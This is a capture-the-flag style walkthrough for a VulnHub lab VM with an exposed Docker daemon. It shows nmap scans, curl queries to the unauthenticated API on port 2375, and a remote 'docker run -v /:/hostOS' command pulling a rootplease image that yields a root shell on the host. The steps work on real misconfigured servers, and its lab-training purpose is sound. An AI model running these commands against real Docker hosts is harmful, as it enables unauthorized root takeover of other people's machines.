Python - Exposed docker daemon

Exposed docker daemon over HTTP rest API

First download the OVA to start on virtualbox https://www.vulnhub.com/entry/vulnerable-docker-1,208/

After downloading the image run it and start it in easy mode. After you have found the IP address of the machine than happy hacking!

By default, Docker runs through a non-networked UNIX socket. It can also optionally communicate using an HTTP socket, as is what we see with this vulnerable VM.

If you need Docker to be reachable through the network in a safe manner, you can enable TLS by specifying the tlsverify flag and pointing Docker’s tlscacert flag to a trusted CA certificate.

In the daemon mode, it only allows connections from clients authenticated by a certificate signed by that CA. In the client mode, it only connects to servers with a certificate signed by that CA.

However this is not the case for the following example, let's see if we can now gain control over the Docker host machine by exploiting this open Docker API.

Recon

A normal nmap scan does not find any interesting results:

nmap -sT -sV <ip adress>

Nmap scan report for <ip adress>
Host is up (0.10s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
8000/tcp open  http    Apache httpd 2.4.10 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

However, when we start scanning the entire port range, here comes some interesting information:

nmap -sT -sV -p- <ip adress>

Nmap scan report for <ip adress>
Host is up (0.10s latency).
Not shown: 65532 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
2375/tcp open  docker  Docker 17.06.0-ce
8000/tcp open  http    Apache httpd 2.4.10 ((Debian))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Now that we have found the port on which the Docker API is listening let's see if we can get some interesting information from there? We can either do a curl to the following endpoint, or simply put the following GET request in the browser to see the results.

curl http://<ip adress>:2375/images/json

we now find information about all the current running images:

[{
    "Containers": -1,
    "Created": 1501805621,
    "Id": "sha256:c4260b289fc788fd3f66a2a1bb0e7697b62511861626a39c7d0676b8909afc20",
    "Labels": {},
    "ParentId": "",
    "RepoDigests": ["wordpress@sha256:632c5f09a3de6fa711b208126bcef405e844a13f7cb38a83b0045043f4b1266f"],
    "RepoTags": ["wordpress:latest"],
    "SharedSize": -1,
    "Size": 405873668,
    "VirtualSize": 405873668
}, {
    "Containers": -1,
    "Created": 1501052770,
    "Id": "sha256:c73c7527c03a13729a6bba88a3251c95629e8036c0ccf17dadefb4c5f077a315",
    "Labels": {},
    "ParentId": "",
    "RepoDigests": ["mysql@sha256:96edf37370df96d2a4ee1715cc5c7820a0ec6286551a927981ed50f0273d9b43"],
    "RepoTags": ["mysql:5.7"],
    "SharedSize": -1,
    "Size": 412365478,
    "VirtualSize": 412365478
}, {
    "Containers": -1,
    "Created": 1492156751,
    "Id": "sha256:7d3ecb48134e41ac56003879ae8b0faa7e8931b927a3af28af82504434b9c9c4",
    "Labels": {},
    "ParentId": "",
    "RepoDigests": ["jeroenpeeters/docker-ssh@sha256:a1c8cefef3e2a7242970ef841acfcb9ead47355bc87a9c5c25627659e1c0b2b9"],
    "RepoTags": ["jeroenpeeters/docker-ssh:latest"],
    "SharedSize": -1,
    "Size": 43209635,
    "VirtualSize": 43209635
}]

Now let's see if we can make it more interesting. First i want to make my Docker client communicate with the remote Daemon API I do this by running the following command:

alias dockerx="docker -H=<ip adress>:2375"

alternatively we could also use the docker engine SDK as described here:

https://docs.docker.com/develop/sdk/examples/#run-a-container

Now, we first test that the alias works, we do this by simply running the following command:

dockerx ps

CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                  NAMES
8f4bca8ef241        wordpress:latest           "docker-entrypoint.s…"   18 months ago       Up 2 hours          0.0.0.0:8000->80/tcp   content_wordpress_1
13f0a3bb2706        mysql:5.7                  "docker-entrypoint.s…"   18 months ago       Up 2 hours          3306/tcp               content_db_1
b90babce1037        jeroenpeeters/docker-ssh   "npm start"              18 months ago       Up 2 hours          22/tcp, 8022/tcp       content_ssh_1

exploitation

Now, we want to become root on the Docker host machine, we can achieve this by running a special container.

The command below is going to perform the privilege escalation and fetches a Docker image from the Docker Hub Registry and runs it. The -v parameter that you pass to Docker specifies that you want to create a volume in the Docker instance. The -i and -t parameters put Docker into ‘shell mode’ rather than starting a daemon process.

The instance is set up to mount the root filesystem of the host machine to the instance’s volume, so when the instance starts it immediately loads a chroot into that volume. This effectively gives you root on the machine.

There are many, many other ways to achieve this, but this was one of the most straightforward.

dockerx run -v /:/hostOS -i -t chrisfosterelli/rootplease
Unable to find image 'chrisfosterelli/rootplease:latest' locally
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete 
354c3661655e: Pull complete 
91930878a2d7: Pull complete 
a3ed95caeb02: Pull complete 
489b110c54dc: Pull complete 
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest

You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# id
uid=0(root) gid=0(root) groups=0(root)
#

Congratulations, we now are root on the Docker host machine!

Last updated